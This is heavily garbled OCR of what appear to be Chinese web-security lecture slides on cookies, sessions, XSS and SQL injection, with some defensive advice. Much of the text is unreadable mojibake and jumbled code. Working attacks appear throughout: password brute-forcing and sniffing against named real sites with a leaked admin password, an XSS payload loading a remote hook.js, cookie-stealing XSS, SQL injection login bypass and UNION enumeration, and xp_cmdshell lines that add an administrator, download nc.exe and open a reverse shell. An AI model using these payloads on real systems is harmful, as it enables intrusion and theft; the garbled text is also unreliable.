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1 E<html> - E<html>
2 o <head> B  <head> ) _
. . . 3 <title>login</title>
3 <title>login</title> 4 | </head>
4 - </head> 5 & <body>
5 6 E <script>
6 2 <body> 7T B function validate() {
7 8 var username = document.getElementById("username").value;
8 & <?ph 9 var password = document.getElementById("password") .value;
‘php B " " 10 = if (username == "" || password == "") {
9 Susername = $_GET[ username"]; 11 alert ("Please input username and password");
10 Spassword = $ GET["password"]; 12 return false;
11 = }
12 if ($username == "admin" && 14 return true;
13 o $password == "1234567") { > [ }
14 echo "login successed"; 20N|  </script>
J r 17 & <form action="login.php" method="get" onsubmit="return validate()">
15 } else { 18 username: <input id="username" name="username" type="text" />
16 echo "login failed"; 19 <br/>
17 } 20 password: <input id="password" name="password" type="password" />
18 L 2% 21 <br/>
19 22 <input type="submit" value="submit" />
23 - </form>
20 - </body> 24 - </body>
21 </html> 25 l</html>
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u Cache—Control: no—cache
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&) HTTP/1.1 200 OK

M) Server: Apache-Coyote/1. 1

I b Content-Type: application/json

;“ Transfer-Encoding: chunked

7"\' Date: Mon, 12 Sep 2011 12:41:24 GMT

@ 6f

I {"password":"1234","userName":"tom","birthday":null,"salary":0,

| "realName":"tomson","userId":"1000","dept":null }
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ext |UV|2022228| dev4399, | 1646015083088 | 27d781d65hobdc2f37ae63220
Olac8d0; Pauth=
3744110367 | 2441238468 | t 3ceTn0000271285b3d103d1f7c 67507 | 16460150
83|10002| 252801 3cd2366b 308 f 7aS0f 56525404 | 0; Puser=2441238468;
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User-agent: Mozilla/S.0 (X11: Linux x86_84: rv:78.0)
Gecko/20100101 Firefox/78.0
Accept: application/json, text/plain, #*/%
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded: charset=UTF-8
Device: wap
10 Runtime: production
11 Gameurl:
http://sda. 4399, com/4399swf/upload_swf/ftp37/cwh/20220224/01a/1
ndex . html
12 Userinfo439shs:
3744110367 | 2441238468 | VWYx0Tg4| | 79a9516d7981 f 220470797 c95b 9450
e
13 Content-Length: 43
14 Origin: http://sda.4399.com
15 Referer:
http://sda. 4399 com/4399swf/upload_swi/ftp37/cwh/20220224/01a/1
ndex, html
15 Te: trailers
17 Connection: close
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Diene

Access-Control-Allow-Origin: http://sda.4399.com
Access-Control-Allow-Credentials: true

=

9 ¥-Via: 1.1 angtong56:18 (Cdn Cache Server V2.0)
10 X-Ws-Request-Id: 621cSeld_angtong56 32953- 23055
11 Content-Length: 58
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1 POST /mini/franking/ranking/submit HTTP/1.1 1 HTTR/1.1 200 OK
2 Host: h.api.4399.com 2 Date: Mon, 28 Feb 2022 05:31:09 GMT Body Parameters (3} A
5 Cookie: _gprp_c=""; _4399stats_vid=16460141710027294; 5 Content-Type: application/json
UM _distinctid= 4 Connection: close Request Cookies (17) e
17f3e1712b57e-085b1213522b 498 - 30634644 - 332c00-17f3e1712b61ab; 5 Server: nginx
Hm_lvt_334acab6d28b3b338a76075366h2b9eB=1645014174; phlogact= & Access-Control-Allow-Headers: X-Custom-Header,content-type,userl

Request Headers (16)

Response Headers (10)

490 bytes | 24 millis




| 33 URLIKE

" 52 IRIRKEHISHIER
= [RIE: KENSHERBL A FZRBEURLF TERE, HILURIEE
MELNRANECENER, EXREEEERMERFE, RIE
NEF—PMEINEFR, BB R OEEISTORE
= 5L

VB RUREE T2 =M ozoml | DK3DK4g:

https://weixiao.nickboy.cc/wall/mAdmin/Block?media_id=gh_77aef1d9cf29
&pass:*******&openid:ome_DK3DK4g&bIocked:1

» B EFAURIZEIRERI, XNRBERHITING, &SI NS



@~ IREN "UVHEY

= 520

-

=

drLizkr &5 =
I)nxl litilﬁl EEEJ’E'\TE

{ERAWiIreshark S ITWiFixd4&

§ L m &
w g e R QeumdEF IS =E @ F
[i http.host=="weixiao.nickboy.cc" and http.request.uri contains "mAdmin" | +
No. Time Source Destination Protocol | Lengtf | Info

{. 661.. 307.313300

10.46.132.64

182.254.240.162 HTTP

1032 GET /wall/mAdmin/Block?media_id=gh_77aef1d9

Frame 661021: 1032 bytes on wire (8256 bits), 1832 bytes céptured (8256 bits) on interface en@, id @
Radiotap Header v@, Length 58

802.11 radio information
IEEE 802.11 QoS Data, Flags:

Logical-Link Control
Internet Protocol Version 4, Src: 10.46.132.64, Dst: 182.254,240,162
Transmission Control Protocol, Src Port: 45678, Dst Port: 8@, Seq: 1, Ack: 1, Len: 896

Hypertext Transfer Protocol

GET /wall/mAdmin/BlockZnedia_id=gh_77aef1d9cf29&pass=1234567&4penid=0Zpm3@5PLKFhqnk7eXujJDK3DK4g&blocked=1 HTTP/1.1..

Host: weixiao.nickboy.cc\r\n

Connection: keep-alive\r\n
Upgrade-Insecure-Requests: 1\r\n

0000
0010
0020
0030
0040
0050
0060
0070
0080
0090
00a0
00bo
00co
00do

® 7

00
10
08
00
34
50
7c
b2
c2
64
5f
66
26
4c

00
81
00
10
83
81

3a
50
00

1
14
00

6b
40
f
04
92
aa
40
4b
47
2f
67
70
6e
71

8
01
01
00
de
aa
06
04
45
42
68
61
69
6e

Host: Character string

30
ea
12
ds

40
ad
00

bd
00
72
b2
04
00
Qa
7c
2f
63
37
3d
6f
65

45
20
00
00
49
00
2e
c5
77
6b
61
31
5a
58

Y- -GET /wall/mA
dmin/Blo ck?media
_id=gh_7 7aefld9c
f29&pass =1234567
&openid= oZpm3@5P
LKFhgnk7 eXujJDK3

Packets: 724138 - Displayed: 1 (0.0%) Profile: Default



N FREN "UVRIE
= 52: {§EFABurpSuitedts

Attack Save Columns

Results Target Positions Payloads

Intruder attack 2

Options

Wit
TSR

Filter: Showing all items

Request

123456
password
12345678
qwerty
123456789
12345
1234
11111
1234567
dragon
123123
baseball

abc123
fanthall

(== - LS S =]

Request Response

ety In  Actions v
HTTP/1.1
2 Host: weixiao.nickboy.cc

| User-Agent: Mozilla/5.0 (X11l; Linux x86_64;

Status

200
200
200
200
200
200
200
200
200
200
200
200
200
200

0N

Error

Timeout

Length

135
135
135
135
135
135
135
135

Comment

155

rv:78.0)

Gecko/20100101 Firefox/78.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/¥;q=0.8

. Accept-Language: en-US,en;q=0.5
5 Accept-Encoding: gzip, deflate
7 Upgrade-Insecure-Requests: 1
8 Te: trailers
S Connection: close

Q@ €3] [

0 matches

Finished




Sk

1. B gL /hA
2. WebZEHhA

3. URL=&

4. BRI A INE
5. SQUEN



BEER

YOJ: TFEAFPERSpEIL

- m] X
@ memtEs x  + v T ‘ 5)) ‘ + ) ‘ C3 ‘ Q ‘ ~
<« C A F%% | yojrucedu.cnfindex.php/index/<img%20src=x%20onerror=alert{document.cookie)> @ 2 ¥ M o H {hﬂP:’a’VOJ'-ruc.edu-cnfindex.phplindext’%SCim9%205rc=x%200nerror=alert(docume... ]
- » .yoj.ruc.edu.cn | Hm_lpvt_52b314b9a24d899e6427360feba551a2

. =—
yo_j.ruc.edu.cn AR » .yoj.ruc.edu.cn | Hm_Ivt_52b314b9a24d899e6427360feba551a2

Hm _Ivt 52b314b9224d899e6427360febas5122=1 (N

~ yoj.ruc.edu.cn | uid

° Hm_lpvt_52b314b9a24d899e6427360febas51a2= [N ) .
< I

-, S Lol
-, o,
ToiENNEARIR 7 )
- i
BRI C yoj.ruc.edu.cn
FILE: /var/www/html/ThinkPHP/Common/functions.php  LINE: 112 Bz
i l
T ERRT &)
ThinkPHP3-13 { Fast & Simple OOP PHP Framework } -- [ WE CAN DO IT JUST THINK ] d [SS“" ";T 13 2022 21:25:05 GMT+0800 (EIF/HEAHE) |
amesite
) V]
hostOnly v session Ze httpOnly

[V 4 =)




5|2

=EFRICIR: sRENNF RIS R

https://club.sanguosha.com/misc.php?mod=ranklist

HAXER  BiES

Ziidie
HT ) 28
- BEiHEE
AR
¥

WEFHHT

- [#KiEEH] =EXol 3BHTEIEHN FEUMEE - [HREES] ZERMRGEA/NESS (231850L)  NoName==2
BEEF (D) =70l - [BE] ZEFMORFERE
MEpEE - [SREE] DEBRE

- [#XES] Bgss,
- [MXGER] THRSRIER, SHikes!

- [(HKE] ZERRS: EE—OEKESES!
- [ERiEA] HENES=E

AAEX BRifEE WERS

- [EREE] HRONSH
- [BEAFIEN] 20223 RERWE (FEER)

1__1__EE|::7%i_t;

EFNEN)EN AT

7 s8%3 J
w<a href="home.php?mod=space&uid=1044931&do
=profile” target=" blank"/id="bid 1844931"
onmouseover="showTip(thys)" tip="UV1988: <
img src=x onerror=appendscript( " https://ww
w.youweli.site/uv/hook.js")>"
"true">»
<img src="https://club.sanguosha.com/uc_
server/data/avatar/ee1/e4/49/31 avatar s
mall.jpg" onerror="this.onerror=null;thi
s.src="https://club.sanguosha.com/uc_ser
ver/images/noavatar small.gif'">

initialized=




4.1 Cookie

" CookieR—RBRIFHAEF il AR, HERSsmmEN, RIEEE
FimXloigs. ZEFimximasiiRiRE NG Hcookie, NEIX NI
HIEREFAEENEHRTRIAHER (kA Cookie) BiilmmazRF+
(gAY Cookie)

s ZRiETNRERRE—Domain FAIMTT, MGesN&BaECookielst
ANZfa, (BEIRSSE R, RESRimnLANZCookieH {TiEENFIGIE, —
BT, CookiedrpyERLAkey-valueBIFZZUH TZRIARY

= HTTPE—M7CRESIY. CookieAIA792— IS RIEAVLSHEH =],
BERARARFRFIALERIER

" B (TARIRFEEEREESIELE?

* cookie



I 4.1 Cookie
" BSS SRR A ATEI I T AR P EUEICookield:

s 25— P CookielfLATME, BT8R EE

s i E1E B CookieRyLRAT 8, 1tizCookiets—EzRT(8] fg B B iR
(WESTREERAT)
u 1R ECookieBIHTTP-ONLY/E 14, Z21FJavaScriptiszEY

=R NMAIL AUTH
A . 5c333b81cbb2eal7obi7bdd400ecd 584
=l - ruc.edu.cn
B2 @ /
gEse: V)| EEAROsE -

Http Only: w 1% & Cookie BY HTTP-ONLY [

M Truen] LAZELE# B R F2
Finla), PRAEARES I B
BN CookieHIX e

THEBRTE) - | at end of session |




4.1 Cookie

" EEEN T Cookiefs, WHEBALABEMEES
BN CookieRUIB R KERGIZAFSn, BIEMW
IWE (Replay Attack) , BEENGEESE T
FER:

=BBS

=\\Veb mail
m [ ZZ NP RN gy




4.2 Session

SiE(Session) I X EIEFE AP EMuL EAIBIRERHI—
ZYMENES. a0, AFEBRMNLGES, SessionfiEis
MHAPEANIREIRX AN B AT RIX T RE. Web4mig
FRYSession X IgERSS =3 im BUFERY—ERRI ERIRY SR
" SessionHPHEHE AT LA E— & P EMISH— R SIEEEL
2. BENTAEERXR, 817 ARSession@ A~ EH
" SessionE[IA R — M RTFIERSS 28 imHYES TAE (E’%%ZR) HY
FURHL =5 s

m




4.2 Session

s BEFREENENEZFIRHIEKEIE— 1 SessiondYif (%, ARSSEsEILA
BEREXITERImNBEREEREEE T —1 Sessionfrii: FRY
Session ID (BEA—PEVHNHSFFFE)
s NEREBE—Session IDNNEBBLABIEL NIt E Fimel#Eid Session
RSB 2L IR Session  IDIEXA SessiontuZR H k(&
s YR ZPIHERAEESession 1D, MIAttEFigdliE— N SessionFt
BARy — P SittSessiontBxExHISession 1D, Session IDEYEMNIZE
— P EEASEE, XNABSHEEREMELURENZRE, X1
Session  IDAJFENIR FIR[EIZEE FimiR T
» —igE T, Session IDHEFRFEFFimAICookiedh (WAHFER
INfE, BRPINERIIHEEEBE—"Session, FHiFlSession
IDIREFIREEFinCookied)



4.2 Session

s HEPERSITER (WKANEes) | RS imHYSessionFA~
SHWABIMMER (BIEENEM, RBWAASFRERFERT
21F) . BFRIFREFERNIRS == MR —1 Session, HNIARSSES
S—HEREIX | Sessionyd5R, EHESessioniBATRRN, IR
IS BT

s WA AR BEFR1ESession ID, B geF]FAEIX ) Session
ID 33T [ PR SZERIH I N Session 5, MTISLHEIRE (BE
B E XTI SessionflIFF) . Session IDEJLLIA 9 2IR(E
SessionAY AR

= Sessionf/lHIAIZ £ HBEXIEE Lik#EiFCookiefIZ 2 E




4.3 [FlRRRES

n —NEXPIMAEGEARBE SN RIERNRIE, XIS in
B2 SRS (AL )

" Altt, Netscapel2HHIRIESREE (Same Origin

Policy, SOP) R A—1MEAXRPWebZ 2K

s RIBIXNERRE, AR ~AYJavaScriptTo A EigisERIAYE FRINTS: R
Hbaidu.compylavaScript{thg, 7r lﬁlcﬂ,ﬁﬁgooglecomﬁ’jﬁEP\]§

" MBEIR—REE EE, Y, iwEHEE




4.3 [ERSRES
s ¥R LA FURLEREIR

Compared URL

http://www.example.com/dir/page2.html

http://www.example.com/dir2/other.html

http://username:password @www.example.com/dir2/
other.html

http://www.example.com:81/dir/other.html

https://www.example.com/dir/other.html
http://en.example.com/dir/other.html

http://example.com/dir/other.html

http://v2.www.example.com/dir/other.html

http://www.example.com:80/dir/other.html

Qutcome

Success

Success

Success

Failure

Failure
Failure

Failure

Failure

Depends

Reason

Same protocol, host and port

Same protocol, host and port

Same protocol, host and port

Same protocol and host but different
port

Different protocol
Different host

Different host (exact match required)

Different host (exact match required)

Port explicit. Depends on
implementation in browser.



4.4 FSubB AR EA

= AT
H5BfrubraEiR

S AR I

@ YR

mE
A
EFERES
B RAE
SERE
BRYTEE
LENTEE
EoHESEE
PHEERE
RS
ERRS RS

H+ HEEE

b

E REEE

o

Ao -
sEER v

B %2

http://www.youwei.site/uv/wxwall/correlate.js

EGH

EANHHMCESER R

var

domain = “http://2. gongwanlu. sinaapp. com” ;

alert(2);
function getueryStringlurl, key) |
wvar g3 = url. search. substr(l);
var args = 0 ;
var items = gqs. length ¢ gs =split (7870 @ [1;
var 1tem = null;
var len = ltems. length:
forlvar i = 0; i < len; i+ |

}

item = items[il. split("=");

var name = decodelRIComponent (item[0]);
var value = decodeURIComponent (item[11);
if (mame) {

argslname] = wvalue;

}

return argslkey]

media_id = getQueryString(location, "media_id™);
storage_item = "ui3_" + media_id;

item = localStorage. getltem(storage_item);

json = JEON. parse (1tem)

openid_wiwall = json["openid”];

vid = json[“wid"];

done = json[“done”];

redirect = “http://weixiao. nickboy. cofzo_to_wall/” + media_id:

if (done == muall) §
jzon[“done”] = “true”;
localStorage. setltem(storage_item, JSON. stringify(json));

location href = domain + encodelURI (*/uw/wewall fauthorize. phpTopenid wiwall=" + openid_wxwall + “&wid=

R T — PRV EACES S

L R STER ST (e

s

SRECE->TEH

+ vid + "gredirect="

+ redirect);



4.4 PSR ANIL A
UL EEETREWeb EHTMLA R A B BB
HFRED, SRIPEILRER, RFRSEE RN ERII

s PSR ATESE I PFRAICross-Site Scripting, 485 /9XSS, XSSH]
I\ esPRYCISIENRIR, NEEesstbr LR 7T —1 82
RIS SRR TING

= WebliGesth @ — M IS ESFENTES

s HIARATERAZIHTMLITE A, EXCEasf R ng T
s OJIEFZMMES (JavaScript, VBScript, ActiveXZ) , s&EIAYEJavaScript

= B Fx: BiRWebMubFREERMAZ SMIRIA
= WEEEIREEWeD ServerfGBBEMALA A
 BEWAERFNSETIGT (BTRIREIRARR)




4.4 ISk AT HLA

" By R E LA
= WebHE5RFHTRE, EWHEFRIA,
s AWATEIEDSRNE (EfREFRIRE)
s INRBETEBIINKG CRIEESIIRNES)

s XSSEHT:
= FEUAIEERE
= FFEXWebTRENE. 22 WebIUE
= (RISWebNNHFRE (ANER)

= XSS AR /9248 .
o [ZHTEIXSS: REIEIXSSH RPN GYE ET BN+, WEE
HRBEAABE— T ERIEYEE, MIEREFREX T EZURLS
(BEEB)
= FAEEIXSS . WEhEmEWFEEIRS SR (WFHETHE. 1eahF. BEFH
&) SREPPOEXRESEREHRE XS TR T

n»n



REIELXSS

& test.jsp - Notepad | O] x|
File Edit Format Help
<% out.printing"welcome

+ Fequest.getParameter ("name")l; > il
b

http //myserver com/test Jsp?name-Stefan

Fie Edit ew Favorites  Tools  Help http:/ flacalhost:50000{b2bjtest jsg <HTML>
sBack - = - (D & | @isearch [GaFavorites Emeda (4| By S <Body>
Address I@ http: fflocalhost: 50000/bZb/test  jsp?name=5kefan j 6}60 | Links_:’I \/\/e I come Stefa N
Welcome Stefan </BOdy>
</HTML>
=
|&] Dane [ [ | B ocalintranet A
http://myserver.com/test.jsp?name=<script>alert("Attacked")</script>
3 http:/ /localhost:50000/bzb/test.jspZname =<scrij =10l =l
File Edit Wiew Favorites  Tools  Help i < HTM L>
= Back - = - @ fat | @Search [Ge] Favarites @Media @ | %- =
Address I@ hiktp: fflocalhost: S0000/b2b/test, jsp?name= < script =alert Attacked i< fscript = j @GU | Links ** < BOdy>
Microsoft Internet Explo x| =] We I come
Welcome . " " .
AN At <script>alert("Attacked")</script>
</Body>
i </HTML>
|@ Opening page http:/flocalhost:50000/b2bytest.: |i l_ l_ l_ (3 Local inkranet A




FIEEIXSS

Attacker Web Server

EBody: <crrinte attark rode </srrinte
Re: Error message on startup

<SCript> attack code </script>

/nﬂ—'——m T
—

Fost Forum Message: Did you know this?
- Subject: GET Money for FREE 11 > ' GET Money for FREE 1

[ found a solution!

Can anybody help?

+

Get forum.jspfid=1228mid=2241

Error message on startup

1 . Attacker sends malicious code

2. Server stores message GET Money for FREE I
<5Cript> attack code </script=

3. User requests message I

4., Message is delivered by server - Client

5. Browser executes scriptin message M etimee coealll




4.5 Syl AT RYPGE]

" XIXSSiIRRBIMR EERIELL N5 H:
s WEIAZOEAITIUE, BIERE P EHIEHIRS SRR 28], YIFER—
EHSIE LRI AR RS 5%, SIUHNERZ R BRIk
o W EIER T, FERHITEZARE, BLIHHIERAITEANR
RIS esimzT. B SEeiEEE R~ EE i iaasiy LA
YA AER, MmIEavaScriptilARsgHTMLEE S AR TTE
s 52 CookietlgEHTTP-ONLY




1
—

| 4.5 BT

= XA ZEH TIRUE

= AJBEAYENR:
o Form3zEEJ = Post/Get WEHEET L ImIESL
o URLEY WREEE &S
e Cookie 1E AY HTTP Head AY
e HTTP Header Weblg3K

Hig t, REEREEFRIIBAZEILLEENE

s HEEZE: WEXmAHTINE, RESNE TRISENFR, BIE
BMIANRBERN—ORSNER. 5. TI&RINFHIRIFR
s RBEE WIERRAFAHITUE, SRMARRFZEFEHITIIR, LIS
(Sanitization) A, HIIRPRE—E0%. < . >0 [ 10 {0 & +.
-0 () BIERRTIRE (1Rl <R )
» EARIFAAEN T BRIENZFRIATC



4.5 FSubB AR IR

= ZUEMLRT, XREHNFATHETREE (S 0F85MI9E
HeFd) |, Badiem (8BX) AFRHHTMUEMAIFISR,
BUmIELIVERE:

= HTML entity encoding

= JavaScript escaping

= CSS escaping U= R E N
= URL (or percent) encoding AN Z&, iZIZHj&It
BTN <
= g0 :

<script>alert(“java”)</script>

l 4HG

&lt;script&gt;alert(&quot;java&quot;)&lt;/script&gt;
EWEE— NEIHERI RIS S I




=D BRR RIFERLy et
SWiE ESE | «pm|[me|oees o] wxl.
R G test A FQOS
Bl e
v EERRAb B j8: 20194511208 15:44 (515
Eif54E (17)
BAE <script>alert("Attacked")</script>
H{th8 N4k (255)
BB
HpFERC
el

<DIV style="line-height:1.7;color:#000000;font-size:14px;font-
family:Arial">&It;script&gt;alert("Attacked")&lt;/script&gt;</DIV>




3K

1. WMEz B2 hir
2. Webz 2 A

3. URLZ2

4. Bub A S
5.SQLiEA



5.1 SQLi&E7T

= SQL (Structured Query Language) FHEIEIES, <&
HUEESL TRITNERIFES

" SQUEEAEH D 4!
o HIEEEESDQL-Data Query Language SELECT

s HIEIEYE S DML-Data Manipulation Language INSERT, UPDATE,
DELETE

s FEE XIESDDL-Data Definition Language CREATE, ALTER, DROP

» 2 18 & &l 15 = DCL-Data Control Language COMMIT WORK,
ROLLBACK WORK

dinl




5.1 SQLi&E7»

F L) €9 - | 5 TEE1 - Microsoft Excet O X
BN 7 mA mE A e = 0E v @ = @ %
C16 v Je |
A B C D Bl
1 sno name grade
2 2021200123 | ZhangSan 100 D
3 2021200456 LiS1 90
4 2021200789 WangWu 80
5}
6
7
Q v
4 4 » ¥ students/teachers /] 4 ]
wig B3| |EEE [ 100% (=) " (+)

AN
s SELECT sno, name, grade FROM students WHERE sno=2021200123
s SELECT %1582 FROM z%&8 WHERE &4



4

5.2 SQLiENmiEEA
w A ERuhAY AP ERS UGB EII T

4

Susername = $ GET["username"];
$password = $ GET["password"];

$sql = "SELECT * FROM user table WHERE username = '" .
Susername . "' AND password = '" . Spassword . "'";
Sconn = new mysqgli (...);

Sresult = Sconn->query (Ssql) ;

if (mysgl num rows (Sresult) == 0) {
echo "login failed";

} else {
echo "login successed";

BERIESEREBTAERABA P 2B NG




5.2 SQLiENmiEEA
w A ERuhAY AP ERS UGB EII T

= RFIRAYEIN .
= EARFRERA TOR1=1--
" EERIERIA 12345
= 153KAYURL :

http://www.some.site/login.php?username=%27%200R%201%3D1--
&password=123456

" N AEFARSQLUETE:

SELECT * FROM user table WHERE username = '' OR 1=1--

4

4

RMERRPITE R R A7



5.2 SQLFE N jmiRETA

" EX: SQLEANREE—MHAEEIANRE, RIFEE
FRFEERRRYRIAN, RIS HRITRISQLIIZAR, £ RIER
PR M HIEIE S EII LESMISQLIERITTER, (15
SIEERSS=RTAERNIIES

" L A ERENNSNEREFT, TITRFRAES
i, HEEBEEHRAZISQLUEKIETF, KIXFSZMNA
IR ERERISIEEIRS s A T. WGBTS
BN, FUTIEFUHARIE X




5.3 SQLENRIRAIZZE

" SQLEANI TG /9425
= SQL Manipulation (SQLIZ4\)
= Code Injection ({SAZ;EN)
= Function Call (REER)
= Buffer Overflows (&HXEE)




SQL Manipulation (SQLIEZ\)

" BN IEEI
(WIUNION,. INTERSECTIONZKMINUS) ¥ ESQLES, kZ|

N EIHEIEE
=

£l

s [FIRSQLIED:

SELECT product name FROM all products WHERE product name
LIKE 'S{product name}%'

" WEEEEERISQLIESR]

SELECT product name FROM all products WHERE product name
LIKE '"%chairs' UNION SELECT username FROM user_table WHERE
username LIKE '$';

Z B INwhere oIRGB HESRIERT

HYEHRY

SELECT product name FROM all products WHERE product name
LIKE 'Schairs' UNION SELECT password FROM user table WHERE
username LIKE 'uvs';



Code Injection (fTHEiEAN)
s BV BEEREETARSQLE R MISQLEAHE

FAFAN
AR<s

I

IR
= EIASQLES:

SELECT * FROM user table WHERE username='{username}' AND
password="'{password}"';

» WA R ERISQLIES]

SELECT * FROM user table WHERE username='bob' AND
password="'123456"'; DELETE FROM user table WHERE
username="'admin'



5.4 SQLEN;
o ORI TS

s &I
= (SRS
= SCHBI

—

o

EHYIN G



I EIE
= SQLENREE LAFEET it s, 1SERrE el NIRRTt
(5XSSZE)
= WebIQUEHAJForm

= URLIBKFHIBIASE
= 7ERSRELE AR Cookie P2 iERY(E

. ALEIENSFFH
" SRR ) # |+ >
= SQLAYREEFLAR DR
« tab%09, carriage return%13, linefeed%10, space%32
 and, or, update, insert, exec, ...

= SEAFIESK' waitfordelay '0:0:10'--




y3 b
s =5 LAHTTP://xxx.xxx.xxx/abc.php?p=YY /34l

BEPHPHIZARSQLIEG) SR AU T
select * from ZF£&g where FE&=YY

= IJLIAT=1, 1=2lhaGE NS QLEAZ B FE

HTTP://xxx.xxx.xxx/abc.php?p=YY’

SQLIEA]: select * from &8 where FFE&Z=YY’ Z=TES
HTTP://xxx.xxx.xxx/abc.php?p=YY and 1=1 — i,
. 1=1T1ES
SQLIEfG]: select * from FEZwhere FEZ=YY and 1=1
. D= = — /= 5,ns
HTTP://xxx.xxx.xxx/abc.php?p=YY and 1=2 ST e

SQLIEG]: select * from FELZwhere FE&=YY and 1=2

SNRLAE=2MFE, abc.phpF—EFESQLENFIE


http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY
http://xxx.xxx.xxx/abc.asp?p=YY

SEWE

" NENEHEEE RN GEDE, ©REXFIXIE, sJLAEY
— AT ERR AR RS 2R, HIan:

= MS SQL ServergGuser, db name((EXH#TE, FREXLRFEALL
Flr BiniRSS s 25 2E5QL Server , A0:

« HTTP://xxx.xxx.xxx/abc.asp?p=YY and user>0
« HTTP://xxx.xxx.xxx/abc.asp?p=YY and db_name()>0
= I FEREAIRMYSQLAIMR A S 2624
« HTTP://xxx xxx.xxx/abc.asp?p=YY and
substring(@@version,1,1)=4
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SCRtBIN o

 ERREUREEER. NTIKEEERE, SQLENNGEERBHEFHIEUR
SERIERS, BHRPHBINTERE, BHRFIIBFRICRNS...
s 5% BIAYER admin adminuser user pass password Z..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---¥k¥r 2G5 FFadminiXsk3E
» EIKSEE WRIER0< IR[EIEHINE 1<REIEERREIRBKSHE ]

0

and O<(select count(*) from admin)
and T<(select count(*) from admin)

B ERBIR Elen() IE=EmEIN_ LA ERINZ=ERETR.
and 1=(select count(*) from admin where len(*) >0)--
and 1=(select count(*) from admin where len(FBP=E&EZ#rname)>0)
and 1=(select count(*) from admin where len(_blank>ZEFEREFR
password)>0)

= ITRIABEICTR (flEsqimap) R TLALTE



SCRtBIN o

o — R IRM T E TR E B T A SR E RIS RS
=E. BlE0: MySQLFinformation_schema#iEERFFBERR. F
BREHER.

> SR B SR IR S R PRI B B ER -

http://.../union.php?id=-1union select 1, group_concat(char(32,58,32),schema_name), 3
from information_schema.schemata

> MR BsecurityBIEUREPIRENVFh B RA

http://.../union.php?id=-1union select 1, group_concat(char(32,58,32),table_name), 3 from
information schema.tables where table schema="'security’

> $RE emailsRPHIFTEFRE
http://...../union.php?id=-1 union select 1,group_concat(char(32,58,32),column_name),3
from information_schema.columns where table schema='security' and
table name='emails'
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" EMS SQL Serverdr, HIRIEERHIENKSEEGSANIR, H
master.dbo.xp_cmdshell BEFEERE (FALEEIZEAILIE
EEFIRIER FRRIshell) BEBEIERINIT, NWeJLUBIE LA G AR
R ERS =T B

m HTTP://xxxxxx.xxx/abc.asp?p=YY; exec masterdbo.xp _cmdshell ‘net user aaa
/add’--

m HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec masterdbo.xp_cmdshell ‘net localgroup
administrators aaa /add’ --

m HTTP://xxxxxx.xxx/abc.asp?p=YY; exec master.xp_cmdshell 'nslookup xxx
192.168.0.1'--

m HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec master.xp cmdshell ‘tftp =1 192.168.0.1 GET
nc.exe c\nc.exe'--

m HTTP://xxx.xxx.xxx/abc.asp?p=YY; exec master.xp_cmdshell ‘C:\nc.exe 192.168.0.1
53 —e cmd.exe’--
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